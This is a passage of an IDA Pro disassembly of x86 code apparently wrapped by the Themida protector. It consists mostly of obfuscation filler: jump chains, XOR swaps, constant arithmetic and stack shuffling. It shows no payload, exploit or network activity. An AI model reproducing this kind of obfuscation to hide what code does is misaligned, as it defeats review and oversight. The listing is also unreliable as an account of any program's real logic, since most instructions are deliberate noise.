loc_559F52:				; CODE XREF: sub_556A70+560j
		xor	edx, 62D82F29h
		xor	ecx, edx
		jmp	loc_556DA6
; ---------------------------------------------------------------------------


loc_559F5F:				; CODE XREF: sub_556A70+9FCj
		xchg	ebx, [esp-2Ah+arg_24+2]
		pop	esp
		jmp	loc_5511B5
; ---------------------------------------------------------------------------


loc_559F68:				; CODE XREF: sub_556A70-167Bj
		push	eax
		mov	eax, 4DC525C2h
		add	dword ptr [esp+4], 44F53CC9h
		sub	[esp+4], eax
		sub	dword ptr [esp+4], 44F53CC9h
		jmp	loc_55C7B0
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_559F87	proc near		; CODE XREF: sub_556A70-4C01j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005519C9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00552267 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00553C1F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005557AE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00557E84 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00558692 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055896C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055CA0F SIZE 0000000B BYTES

		push	ebx
		mov	ebx, 18772EBBh
		and	ebx, 34885158h
		jmp	loc_55896C
sub_559F87	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_559F98:				; CODE XREF: Themida_:00554FD1j
		mov	ax, [esp]
		push	ecx
		push	esp
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 2FF43DB9h
		jmp	loc_552115
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_559FAF:				; CODE XREF: sub_556A70+5C44j
		xor	ebx, edx
		xor	edx, ebx
		jmp	loc_556223
; ---------------------------------------------------------------------------


loc_559FB8:				; CODE XREF: sub_556A70+3D46j
		push	4BD1h
		mov	[esp+8+var_8], ebx
		mov	ebx, 83857D9h
		or	ebx, 33F45D4Eh
		neg	ebx
		xor	ebx, 0C403A025h
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], esi
		push	ebx
		mov	ebx, 459D531Bh
		add	ebx, 0BA62AD25h
		jmp	loc_5575C4
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	esi
		push	5A7Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5579E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5557A0


loc_55A003:				; CODE XREF: sub_5557A0+6CFCj
		pop	ecx
		jmp	loc_5523D2
; END OF FUNCTION CHUNK	FOR sub_5557A0
; ---------------------------------------------------------------------------


loc_55A009:				; CODE XREF: Themida_:0055CF3Ej
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_55B273
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A015:				; CODE XREF: sub_556A70+223Dj
		xor	edi, [esp-12h+arg_C+2]
		xor	[esp-12h+arg_C+2], edi
		xor	edi, [esp-12h+arg_C+2]
		jmp	loc_555C4A
; ---------------------------------------------------------------------------


loc_55A023:				; CODE XREF: sub_556A70+F7Bj
		add	ebp, 4
		push	ecx
		jmp	sub_55265B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553651


loc_55A02F:				; CODE XREF: sub_553651+1j
		sub	[esp+4+var_4], 1D6E757Eh
		mov	eax, [esp+4+var_4]
		push	ecx
		jmp	loc_5585CE
; END OF FUNCTION CHUNK	FOR sub_553651
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A03F:				; CODE XREF: sub_556A70-1C57j
		add	edx, esi
		pop	esi
		push	esi
		jmp	loc_558B06
; ---------------------------------------------------------------------------


loc_55A048:				; CODE XREF: sub_556A70+29Cj
		push	[esp-8+arg_4]
		mov	eax, [esp-4+arg_0]
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 0DF5C58h
		add	ebx, 0FF20A3ACh
		jmp	loc_55B658
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A070:				; CODE XREF: sub_556A70+3169j
		xor	ebp, eax
		xor	eax, ebp
		push	2D0h
		mov	[esp+0], ebp
		push	5250h
		mov	[esp+4+var_4], ebx
		push	dword ptr [esp+4]
		push	[esp+8+var_8]
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		pop	[esp+8+var_8]
		not	ebx
		xor	[esp+4+var_4], ebx
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		pop	ebp
		xor	eax, ebp
		xor	ebp, eax
		jmp	loc_55CE46
; ---------------------------------------------------------------------------


loc_55A0B4:				; CODE XREF: sub_556A70-36C1j
		sub	ebp, esi
		pop	esi
		sub	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp-18h+arg_14], eax
		jmp	loc_55890A
; ---------------------------------------------------------------------------


loc_55A0C8:				; CODE XREF: sub_556A70+4B42j
		pop	ebx
		shr	ebx, 8
		shl	ebx, 5
		jmp	loc_554334
; ---------------------------------------------------------------------------


loc_55A0D4:				; CODE XREF: sub_556A70+4C75j
		mov	esi, [esp-1Ch+arg_18]
		add	esp, 4
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		push	edx
		push	esp
		mov	edx, [esp-1Ch+arg_18]
		jmp	loc_55679E
; ---------------------------------------------------------------------------


loc_55A0EC:				; CODE XREF: sub_556A70-57EDj
		push	esi
		mov	esi, 2
		add	edx, esi
		pop	esi
		xchg	edx, [esp-16h+arg_10+2]
		pop	esp
		jmp	loc_557CA2
; ---------------------------------------------------------------------------


loc_55A0FE:				; CODE XREF: sub_556A70+41B7j
		mov	[esp-1Ah+arg_14+2], edx
		jmp	loc_55A3DA
; ---------------------------------------------------------------------------


loc_55A106:				; CODE XREF: sub_556A70+535j
		mov	edi, 1C630037h
		dec	edi
		not	edi
		jmp	loc_550FF3
; ---------------------------------------------------------------------------


loc_55A113:				; CODE XREF: sub_556A70+6054j
		push	edi
		jmp	loc_554F0B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_55A119:				; CODE XREF: sub_5584F8-78D2j
		mov	eax, 5DA8336Dh
		push	esi
		mov	esi, 47550417h
		sub	eax, esi
		jmp	loc_55B11A
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A12B:				; CODE XREF: sub_556A70+60ACj
		mov	ecx, 3A2436E6h
		xor	ecx, ebp
		pop	ebp
		xor	ecx, 78595942h
		sub	eax, 4F227992h
		add	eax, ecx
		sub	esp, 4
		jmp	loc_5542C4
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55A14B:				; CODE XREF: Themida_:0055BF1Ej
		push	1AEAh
		mov	[esp], esi
		jmp	loc_558353
; ---------------------------------------------------------------------------


loc_55A158:				; CODE XREF: Themida_:00556586j
		add	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ecx
		jmp	loc_5572EE
; ---------------------------------------------------------------------------


loc_55A170:				; CODE XREF: Themida_:005598C5j
		pop	edi
		shr	ebp, 5
		xor	ebp, 62A1D13h
		mov	edi, ebp
		pop	ebp
		add	edx, edi
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 45EF3C69h
		sub	ecx, 45EF3C65h
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	ax, [esp]
		jmp	loc_558247
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A1B1:				; CODE XREF: sub_556A70+22C3j
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		jmp	loc_55C6B2
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55A1BC:				; CODE XREF: Themida_:00556684j
		xor	ebp, 2E0D697Fh
		xor	ebp, 373A7B0Ah
		neg	ebp
		sub	ebp, 84529A0Ch
		jmp	loc_55B900
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A1D5:				; CODE XREF: sub_556A70+3A58j
		mov	eax, edi
		jmp	loc_557D4A
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_550EDC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A1E8:				; CODE XREF: sub_556A70-59FBj
		mov	bl, ch
		push	[esp+8+var_8]
		jmp	loc_55828D
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_550E2C


loc_55A1F2:				; CODE XREF: sub_550E2C+207Cj
		push	edi
		mov	edi, 49790FDCh
		sub	edx, edi
		pop	edi
		add	eax, edx
		pop	edx
		push	edi
		jmp	loc_5563BC
; END OF FUNCTION CHUNK	FOR sub_550E2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5516F8


loc_55A204:				; CODE XREF: sub_5516F8+4AE5j
		pop	eax
		jmp	loc_55C7FE
; END OF FUNCTION CHUNK	FOR sub_5516F8
; ---------------------------------------------------------------------------


loc_55A20A:				; CODE XREF: Themida_:0055158Ej
		add	esp, 4
		jmp	loc_55A8F2
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	3A74h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_550A8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A22B:				; CODE XREF: sub_556A70+1084j
		mov	[esp+0Ch+var_C], eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		jmp	loc_558958
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55A240:				; CODE XREF: Themida_:005589D5j
		pop	edx
		shr	edx, 8
		or	edx, 0B586AAFh
		add	edx, 5DEADF75h
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		inc	edi
		dec	edi
		push	esi
		mov	esi, 723B14B0h
		and	esi, 69FA7981h
		shl	esi, 4
		add	esi, 2CB04954h
		jmp	loc_5525CA
; ---------------------------------------------------------------------------


loc_55A277:				; CODE XREF: Themida_:00555A6Ej
		add	esi, edx
		jmp	loc_55C74F
; ---------------------------------------------------------------------------


loc_55A27E:				; CODE XREF: Themida_:00550C5Aj
		add	esp, 4
		jmp	loc_5512A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A289:				; CODE XREF: sub_556A70+FB7j
		mov	ecx, 6BB01257h
		dec	ecx
		neg	ecx
		sub	ecx, 0D59304CFh
		sub	ebx, ecx
		jmp	loc_553A07
; ---------------------------------------------------------------------------


loc_55A29E:				; CODE XREF: sub_556A70-2450j
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		dec	ecx
		or	ecx, 2B9D06CDh
		add	ecx, 38F65988h
		push	ebx
		mov	ebx, 0AB0BDE07h
		xor	ecx, ebx
		jmp	loc_558AF2
; ---------------------------------------------------------------------------


loc_55A2C1:				; CODE XREF: sub_556A70+2575j
		pop	eax
		mov	ecx, [esp-0Ch+arg_8]
		add	esp, 4
		jmp	loc_5571CD
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55A2CD:				; CODE XREF: Themida_:00553ABFj
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		push	4C5Fh
		mov	[esp], ebx
		jmp	loc_551395
; ---------------------------------------------------------------------------


loc_55A2E6:				; CODE XREF: Themida_:00558551j
		push	esp
		pop	esi
		jmp	loc_551BBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A2ED:				; CODE XREF: sub_556A70-4D92j
		sub	eax, 3A8D70B0h
		push	[esp+4+var_4]
		pop	ebp
		add	esp, 4
		jmp	sub_550F53
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55A30D:				; CODE XREF: Themida_:0055CB4Fj
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		jmp	loc_55AC6E
; ---------------------------------------------------------------------------


loc_55A31B:				; CODE XREF: Themida_:0055C2F7j
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		push	edx
		jmp	loc_55CC2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_55A32A:				; CODE XREF: sub_552B74-189Ej
		push	eax
		mov	ah, 0C7h
		xor	ah, 12h
		jmp	loc_553A60
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------


loc_55A335:				; CODE XREF: Themida_:0055BF7Fj
		pop	edx
		add	al, 88h
		add	al, bl
		sub	al, 88h
		jmp	loc_552EDE
; ---------------------------------------------------------------------------


loc_55A341:				; CODE XREF: Themida_:00552782j
		add	[esp+4], dx
		add	word ptr [esp+4], 34D2h
		jmp	loc_556639
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A352:				; CODE XREF: sub_556A70+2A58j
		xor	eax, 151043EEh
		jmp	loc_557C04
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5566B9


loc_55A35C:				; CODE XREF: sub_5566B9-5530j
		xchg	eax, ecx
		dec	eax
		sub	esp, 4
		jmp	loc_55497E
; END OF FUNCTION CHUNK	FOR sub_5566B9
; ---------------------------------------------------------------------------


loc_55A366:				; CODE XREF: Themida_:00554137j
		inc	edi
		xor	edi, 53C4447Ch
		sub	edi, 2FA5486h
		sub	edi, 1994C319h
		jmp	loc_559447
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A37E:				; CODE XREF: sub_556A70-52FAj
		xchg	esi, edi
		not	esi
		xchg	esi, edi
		push	eax
		push	5F76h
		mov	[esp+4+var_4], edi
		pop	eax
		push	dword ptr [esp+0]
		mov	edi, [esp+4+var_4]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	[esp+8+var_4]
		pop	esi
		pop	[esp+8+var_8]
		pop	esp
		add	esp, 4
		push	3C65h
		mov	[esp+0], edi
		mov	edi, esp
		add	edi, 4
		jmp	sub_559D5E
; ---------------------------------------------------------------------------


loc_55A3DA:				; CODE XREF: sub_556A70+3691j
		push	esp
		push	[esp-16h+arg_10+2]
		pop	edx
		jmp	loc_5520C7
; ---------------------------------------------------------------------------


loc_55A3E4:				; CODE XREF: sub_556A70+3206j
		add	ebx, 6FC743D3h
		jmp	loc_55C82A
; ---------------------------------------------------------------------------


loc_55A3EF:				; CODE XREF: sub_556A70+7E5j
		add	esp, 4
		jmp	loc_55CE8C
; ---------------------------------------------------------------------------


loc_55A3F7:				; CODE XREF: sub_556A70+39j
		shl	ebp, 5
		not	ebp
		not	ebp
		add	ebp, 7CB7E3A2h
		jmp	loc_5552E7
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		push	6902h
		mov	[esp], eax
		mov	eax, 0FFFFFBFFh
		jmp	loc_553846
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557EBA


loc_55A41B:				; CODE XREF: sub_557EBA+28j
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	6B65h
		mov	[esp-4+arg_0], ebx
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, eax
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	esi
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, 0BDA20ACh
		xor	[esp+0Ch+var_8], ebp
		pop	ebp
		pop	ebp
		xor	ebp, 0BDA20ACh
		mov	ebx, ebp
		pop	ebp
		mov	esi, [esp+0]
		jmp	sub_555F13
; END OF FUNCTION CHUNK	FOR sub_557EBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A467:				; CODE XREF: sub_556A70-49ECj
		add	ebp, 4
		xor	ebp, [esp+4+var_4]
		jmp	loc_552564
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55A475:				; CODE XREF: Themida_:0055CE01j
		sub	esi, 77533EBEh
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 136D5C5Bh
		add	ebx, 545719F6h
		or	ebx, 465F76BCh
		jmp	loc_55CF43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A4A9:				; CODE XREF: sub_556A70-4663j
		mov	[esp-14h+arg_10], eax
		push	edi
		mov	edi, 5D93116Bh
		or	edi, 3C3B523Bh
		shr	edi, 2
		sub	edi, 0B8578EAh
		dec	edi
		sub	edi, 1284BBDAh
		jmp	loc_55A1D5
; ---------------------------------------------------------------------------


loc_55A4CD:				; CODE XREF: sub_556A70+C01j
		sub	edx, 2F38086Ch
		push	eax
		mov	eax, 0
		add	eax, edx
		jmp	loc_551478
; ---------------------------------------------------------------------------


loc_55A4E0:				; CODE XREF: sub_556A70+39Bj
		mov	ebx, ebp
		jmp	loc_55A638
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55A4E7:				; CODE XREF: Themida_:0055229Aj
		push	ebx
		jmp	loc_5520A3
; ---------------------------------------------------------------------------


loc_55A4ED:				; CODE XREF: Themida_:00558EBEj
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		jmp	loc_5570DA
; ---------------------------------------------------------------------------


loc_55A4FC:				; CODE XREF: Themida_:0055CE2Dj
		add	ebx, edi
		mov	edi, [esp]
		jmp	loc_55A6F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A506:				; CODE XREF: sub_556A70-A59j
		push	ecx
		jmp	loc_5545C7
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555B85


loc_55A50C:				; CODE XREF: sub_555B85+5FC0j
		sub	ebp, 22784976h
		jmp	loc_5516B1
; END OF FUNCTION CHUNK	FOR sub_555B85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A517:				; CODE XREF: sub_556A70-1F20j
		shr	eax, 3
		add	eax, 4AC17F77h
		sub	eax, 1
		xor	eax, 56CA0732h
		xor	eax, 4232DF7Eh
		mov	ebp, eax
		jmp	loc_5585B1
; ---------------------------------------------------------------------------


loc_55A533:				; CODE XREF: sub_556A70-1852j
		sub	edx, eax
		jmp	loc_555D9E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	61C8h
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55735D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A556:				; CODE XREF: sub_556A70+46C2j
		mov	eax, 0B740A73Dh
		jmp	loc_552F30
; ---------------------------------------------------------------------------


loc_55A560:				; CODE XREF: sub_556A70+570Ej
		mov	[esp-6+arg_0+2], ebx
		jmp	loc_555730
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55A568:				; CODE XREF: Themida_:0055CFC1j
		push	dword ptr [esp]
		jmp	loc_55AE74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5566B9


loc_55A570:				; CODE XREF: sub_5566B9+283Dj
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		and	ecx, eax
		push	[esp+8+var_8]
		pop	eax
		add	esp, 4
		shr	ecx, 7
		jmp	loc_554832
; END OF FUNCTION CHUNK	FOR sub_5566B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A58E:				; CODE XREF: sub_556A70+4FCDj
		pop	esi
		jmp	loc_55CC3E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55A594:				; CODE XREF: Themida_:00550BB0j
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	bh, 0A7h
		xchg	dh, bh
		jmp	loc_553576
; ---------------------------------------------------------------------------


loc_55A5A7:				; CODE XREF: Themida_:00559840j
		push	38h
		jmp	loc_55578E
; ---------------------------------------------------------------------------


loc_55A5B1:				; CODE XREF: Themida_:0055BD54j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55162D
; ---------------------------------------------------------------------------


loc_55A5BF:				; CODE XREF: Themida_:0055BE71j
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_559D2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A5C8:				; CODE XREF: sub_556A70-4C84j
		mov	[eax], ecx
		mov	eax, [esp-0Ch+arg_8]
		jmp	loc_55114B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55A5D2:				; CODE XREF: Themida_:00554A40j
		add	eax, esi
		pop	esi
		push	1CA4h
		jmp	loc_55100A

; =============== S U B	R O U T	I N E =======================================



sub_55A5DF	proc near		; CODE XREF: sub_5553D0-1D94j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055C805 SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ch, 60h
		shl	ch, 8
		inc	ch
		shr	ch, 3
		shr	ch, 5
		xor	ch, 31h
		add	bl, 0F4h
		add	bl, ch
		sub	bl, 0F4h
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_55C805
sub_55A5DF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A60B:				; CODE XREF: sub_556A70-329Ej
		push	[esp+8+var_4]
		pop	eax
		pop	[esp+8+var_8]
		pop	esp
		mov	ax, [esp+0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_558007
; ---------------------------------------------------------------------------


loc_55A626:				; CODE XREF: sub_556A70-27DCj
		push	dword ptr [esp+0]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5543DC
; ---------------------------------------------------------------------------


loc_55A638:				; CODE XREF: sub_556A70+3A72j
		push	dword ptr [esp+0]
		pop	ebp
		push	5814h
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		add	ebp, 4
		push	4096h
		jmp	loc_55841A
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B730


loc_55A656:				; CODE XREF: sub_55B730-1D53j
		sub	[edi+24h], ebp
		jmp	loc_553EF5
; END OF FUNCTION CHUNK	FOR sub_55B730
; ---------------------------------------------------------------------------


loc_55A65E:				; CODE XREF: Themida_:005512F8j
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55A663:				; CODE XREF: Themida_:00551633j
		xchg	esi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 2
		sub	edi, 2DF96E72h
		jmp	loc_55BFCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A678:				; CODE XREF: sub_556A70+2704j
		xchg	ecx, [esp+0]
		pop	esp
		and	eax, edx
		jmp	loc_55AE4E
; ---------------------------------------------------------------------------


loc_55A683:				; CODE XREF: sub_556A70+5C58j
		shr	ebx, 5
		or	ebx, 39291308h
		shr	ebx, 3
		push	ebp
		mov	ebp, 0F8881895h
		jmp	loc_5523E5
; ---------------------------------------------------------------------------


loc_55A69A:				; CODE XREF: sub_556A70+2B1Dj
		mov	ebx, [esp-4+arg_0]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_555E00
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55A6AB:				; CODE XREF: Themida_:005529CAj
		xor	al, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_555336
; ---------------------------------------------------------------------------


loc_55A6BB:				; CODE XREF: Themida_:0055A7C8j
		add	eax, esi
		pop	esi
		jmp	loc_55139B
; ---------------------------------------------------------------------------


loc_55A6C3:				; CODE XREF: Themida_:00551868j
		mov	esi, esp
		sub	esp, 4
		jmp	loc_5554CA

; =============== S U B	R O U T	I N E =======================================



sub_55A6CD	proc near		; CODE XREF: sub_552E24-C7Dj

; FUNCTION CHUNK AT 005535E0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00557FB9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055991D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055CDD7 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		jmp	loc_5535E0
sub_55A6CD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5582B3


loc_55A6DB:				; CODE XREF: sub_5582B3-46E7j
		mov	edi, 643B3D27h
		add	edi, 9BC4C2DDh
		jmp	loc_55C9B2
; END OF FUNCTION CHUNK	FOR sub_5582B3
; ---------------------------------------------------------------------------


loc_55A6EB:				; CODE XREF: Themida_:00554233j
		mov	[esp], edx
		jmp	loc_554014
; ---------------------------------------------------------------------------


loc_55A6F3:				; CODE XREF: Themida_:0055A501j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_553C7D

; =============== S U B	R O U T	I N E =======================================



sub_55A704	proc near		; CODE XREF: sub_556A70+192Bj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055B053 SIZE 0000003B BYTES

		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		jmp	loc_55B053
sub_55A704	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5539DB


loc_55A719:				; CODE XREF: sub_5539DB+576Bj
		push	edx
		mov	edx, 2F406A46h
		jmp	loc_558EFB
; END OF FUNCTION CHUNK	FOR sub_5539DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A724:				; CODE XREF: sub_556A70+63F2j
		push	2B74h
		jmp	loc_5571FF
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55A72E:				; CODE XREF: Themida_:0055823Aj
		push	small 1145h
		mov	[esp], dx
		jmp	loc_552953
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55A73B:				; CODE XREF: sub_556A70-3B05j
		mov	ebp, ecx
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		jmp	sub_5557A0
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_55A748	proc near		; CODE XREF: sub_556A70-19C4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551784 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00552DFE SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005545E7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00555C74 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00555FB4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00558A07 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00559335 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00559BE9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055C1F6 SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	dh, 0E5h
		and	dh, 0A0h
		or	dh, 6Fh
		dec	dh
		and	dh, 0F1h
		xor	dh, 5Ah
		jmp	loc_558A07
sub_55A748	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554BBA


loc_55A766:				; CODE XREF: sub_554BBA-276Aj
		add	esi, 4
		xchg	esi, [esp-8+arg_4]
		jmp	loc_55231F
; END OF FUNCTION CHUNK	FOR sub_554BBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5539DB


loc_55A771:				; CODE XREF: sub_5539DB+Ej
